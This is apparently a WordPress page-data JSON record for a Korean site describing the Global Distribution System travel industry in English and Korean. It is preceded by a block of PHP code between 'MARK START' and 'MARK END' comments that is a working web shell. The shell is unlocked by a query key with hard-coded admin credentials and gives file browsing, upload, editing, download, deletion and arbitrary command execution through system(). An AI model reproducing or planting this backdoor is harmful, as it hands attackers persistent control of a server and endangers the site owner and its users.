// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } // -------- MARK END -------- {"id":101,"date":"2018-02-08T13:23:55","date_gmt":"2018-02-08T04:23:55","guid":{"rendered":"http:\/\/uapi.ihavenomoney.co.kr\/?page_id=101"},"modified":"2024-04-18T10:05:52","modified_gmt":"2024-04-18T01:05:52","slug":"mainpage","status":"publish","type":"page","link":"https:\/\/uapi.ihavenomoney.co.kr\/","title":{"rendered":"MainPage"},"content":{"rendered":"
\n
<\/i><\/span><\/div>
Introduction<\/div>
\nKnow More..<\/a>\n<\/div><\/div>\n<\/div>\n
<\/i><\/span><\/div>
Air<\/div>
\nKnow More..<\/a>\n<\/div><\/div>\n<\/div>\n
<\/i><\/span><\/div>
Util<\/div>
Know More..<\/a>\n<\/div><\/div>\n<\/div>\n
<\/i><\/span><\/div>
XSL<\/div>
Know More..<\/a>\n<\/div><\/div>\n<\/div>\n<\/div>\n\n\n\n

GDS<\/h2>\n\n\n\n

The current status of the Global Distribution System (GDS) industry shows that it continues to be a vital component in the travel sector, facilitating transactions between travel service providers and travel agencies. As of 2024, major GDS platforms like Sabre, Amadeus, and Travelport have embraced technological advancements to expand their services beyond simple booking functions, integrating features such as real-time data analytics and comprehensive travel management solutions. Sabre, for instance, has evolved into a comprehensive platform providing intelligent technology to connect various travel services\u200b (Sabre<\/a>)\u200b.<\/p>\n\n\n\n

The GDS market is expected to grow at a compound annual growth rate (CAGR) of 4.3% from 2022 to 2031, reflecting ongoing innovations and the increasing adoption of GDS technology in various travel segments, including air travel, hotel bookings, and car rentals. Key players in this market include Amadeus IT Group SA, Travelport Worldwide Ltd, and Sabre Corporation, among others\u200b (Transparency Market Research<\/a>)\u200b.<\/p>\n\n\n\n

Despite challenges such as competition from direct booking channels and new technologies like the New Distribution Capability (NDC), GDS systems remain relevant by integrating these new standards to improve airline retailing and offering expanded services\u200b (Betebt – All About Parenting<\/a>)\u200b.<\/p>\n\n\n\n

Overall, the GDS industry is poised for growth, driven by continuous technological innovations and the increasing demand for efficient travel booking solutions across the globe.<\/p>\n\n\n\n

\uae00\ub85c\ubc8c \uc720\ud1b5 \uc2dc\uc2a4\ud15c(GDS) \uc0b0\uc5c5\uc758 \ud604\uc7ac \uc0c1\ud669\uc740 \uc5ec\uc804\ud788 \uc5ec\ud589 \ubd80\ubb38\uc5d0\uc11c \uc911\uc694\ud55c \uc5ed\ud560\uc744 \ud558\uace0 \uc788\uc73c\uba70, \uc5ec\ud589 \uc11c\ube44\uc2a4 \uc81c\uacf5\uc5c5\uccb4\uc640 \uc5ec\ud589\uc0ac \uac04\uc758 \uac70\ub798\ub97c \uc6a9\uc774\ud558\uac8c \ud569\ub2c8\ub2e4. 2024\ub144 \ud604\uc7ac \uc8fc\uc694 GDS \ud50c\ub7ab\ud3fc\uc778 Sabre, Amadeus, Travelport\ub294 \ub2e8\uc21c \uc608\uc57d \uae30\ub2a5\uc744 \ub118\uc5b4 \uc2e4\uc2dc\uac04 \ub370\uc774\ud130 \ubd84\uc11d \ubc0f \uc885\ud569 \uc5ec\ud589 \uad00\ub9ac \uc194\ub8e8\uc158\uacfc \uac19\uc740 \uae30\ub2a5\uc744 \ud1b5\ud569\ud558\uc5ec \uc11c\ube44\uc2a4\ub97c \ud655\uc7a5\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4. \uc608\ub97c \ub4e4\uc5b4, Sabre\ub294 \ub2e4\uc591\ud55c \uc5ec\ud589 \uc11c\ube44\uc2a4\ub97c \uc5f0\uacb0\ud558\ub294 \uc9c0\ub2a5\ud615 \uae30\uc220\uc744 \uc81c\uacf5\ud558\ub294 \uc885\ud569 \ud50c\ub7ab\ud3fc\uc73c\ub85c \ubc1c\uc804\ud558\uc600\uc2b5\ub2c8\ub2e4\u200b (Sabre<\/a>)\u200b.<\/p>\n\n\n\n

GDS \uc2dc\uc7a5\uc740 2022\ub144\ubd80\ud130 2031\ub144\uae4c\uc9c0 \uc5f0\ud3c9\uade0 \uc131\uc7a5\ub960(CAGR) 4.3%\ub85c \uc131\uc7a5\ud560 \uac83\uc73c\ub85c \uc608\uc0c1\ub418\uba70, \uc774\ub294 \uc9c0\uc18d\uc801\uc778 \ud601\uc2e0\uacfc \ud56d\uacf5 \uc5ec\ud589, \ud638\ud154 \uc608\uc57d, \ucc28\ub7c9 \ub300\uc5ec \ub4f1 \ub2e4\uc591\ud55c \uc5ec\ud589 \ubd80\ubb38\uc5d0\uc11c GDS \uae30\uc220\uc758 \ucc44\ud0dd\uc774 \uc99d\uac00\ud558\uace0 \uc788\uc74c\uc744 \ubc18\uc601\ud569\ub2c8\ub2e4. \uc774 \uc2dc\uc7a5\uc758 \uc8fc\uc694 \ud50c\ub808\uc774\uc5b4\ub85c\ub294 Amadeus IT Group SA, Travelport Worldwide Ltd, Sabre Corporation \ub4f1\uc774 \uc788\uc2b5\ub2c8\ub2e4\u200b (Transparency Market Research<\/a>)\u200b.<\/p>\n\n\n\n

\uc9c1\uc811 \uc608\uc57d \ucc44\ub110\uacfc \uc0c8\ub85c\uc6b4 \uae30\uc220, \uc608\ub97c \ub4e4\uc5b4 \uc0c8\ub85c\uc6b4 \uc720\ud1b5 \ub2a5\ub825(NDC)\uacfc \uac19\uc740 \ub3c4\uc804\uc5d0\ub3c4 \ubd88\uad6c\ud558\uace0 GDS \uc2dc\uc2a4\ud15c\uc740 \uc774\ub7ec\ud55c \uc0c8\ub85c\uc6b4 \ud45c\uc900\uc744 \ud1b5\ud569\ud558\uc5ec \ud56d\uacf5 \uc18c\ub9e4\ub97c \uac1c\uc120\ud558\uace0 \ud655\uc7a5\ub41c \uc11c\ube44\uc2a4\ub97c \uc81c\uacf5\ud568\uc73c\ub85c\uc368 \uc5ec\uc804\ud788 \uad00\ub828\uc131\uc744 \uc720\uc9c0\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4\u200b (Betebt – All About Parenting<\/a>)\u200b.<\/p>\n\n\n\n

\uc804\ubc18\uc801\uc73c\ub85c, GDS \uc0b0\uc5c5\uc740 \uc804 \uc138\uacc4\uc801\uc73c\ub85c \ud6a8\uc728\uc801\uc778 \uc5ec\ud589 \uc608\uc57d \uc194\ub8e8\uc158\uc5d0 \ub300\ud55c \uc218\uc694\uac00 \uc99d\uac00\ud568\uc5d0 \ub530\ub77c \uc9c0\uc18d\uc801\uc778 \uae30\uc220 \ud601\uc2e0\uc5d0 \uc758\ud574 \uc131\uc7a5\ud560 \uac83\uc73c\ub85c \uc804\ub9dd\ub429\ub2c8\ub2e4.<\/p>\n\n\n\n

1A, 1B, 1G<\/h2>\n\n\n\n

\ud604\uc7ac GDS \uc2dc\uc7a5\uc5d0\uc11c\ub294 \uc8fc\uc694 \ud50c\ub808\uc774\uc5b4\ub4e4\uc774 \uc2dc\uc7a5 \uc810\uc720\uc728\uc744 \ud06c\uac8c \ucc28\uc9c0\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4. Amadeus\uac00 \uac00\uc7a5 \ud070 \uc810\uc720\uc728\uc744 \ubcf4\uc720\ud558\uace0 \uc788\uc73c\uba70, Sabre\uc640 Travelport\ub3c4 \uc0c1\ub2f9\ud55c \ube44\uc911\uc744 \ucc28\uc9c0\ud558\uace0 \uc788\uc2b5\ub2c8\ub2e4.<\/p>\n\n\n\n